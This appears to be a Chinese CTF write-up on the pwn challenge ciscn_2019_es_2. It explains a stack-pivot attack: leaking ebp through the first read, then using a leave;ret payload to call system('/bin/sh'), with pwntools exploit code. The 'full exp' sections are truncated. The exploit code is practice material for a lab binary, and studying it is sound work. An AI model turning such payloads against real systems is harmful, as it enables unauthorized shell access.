碰到一个栈迁移的题目仔细记录一下
ciscn_2019_es_2
- 先用IDA打开
但是它有两个read,于是我们可以利用第一个泄露ebp的内容,利用第二个进行栈迁移,通过system函数执行/bin/sh
1
2
3
4
5
6
7
8
9
from pwn import *
r = process('./pwn')
#r = remote("node5.buuoj.cn", 25271)
payload1= b'a'*0x24 + b'b'*4
r.send(payload1)
r.recvuntil('bbbb')
ebp_addr = u32(r.recv(4))
print(hex(ebp_addr))
r.interactive()
2. 动态调试找到s到ebp的距离,先在main的nop下断点
s和ebp的距离是0x38
当恢复ebp的备份时,这个备份恰好比原来多了0x10
栈偏移一般用leave和ret
1
2
3
4
5leave:
move esp ebp 将ebp指向的地址给esp
pop ebp 将esp指向的地址存放的值赋值给ebp
ret:
pop eip 将esp指向的地址存放的值赋值给eip构造payload2
1
2
3
4
5
6
7
8payload2 = b'aaaa' #如果一开始将system函数写第一个,那么我们在用leave;ret劫持栈的时候要抬高4字节
payload2 += p32(system) #接上system的地址
payload2 += b'aaaa' #system的返回地址
payload2 += p32(ebp_addr - 0x38 + 0x10) # /bin/sh的地址
payload2 += b'/bin/sh'
payload2 = payload2.ljust(0x28,b'\x00') #填充垃圾数据至0x28
payload2 += p32(ebp_addr - 0x38) #填充成aaaa的地址
payload2 += p32(leave_ret)可以用ROP获取leave_ret的地址
完整exp
1 | python |
得到flag
ciscn-s-4
和ciscn_2019_es_2一样
1 | from pwn import * |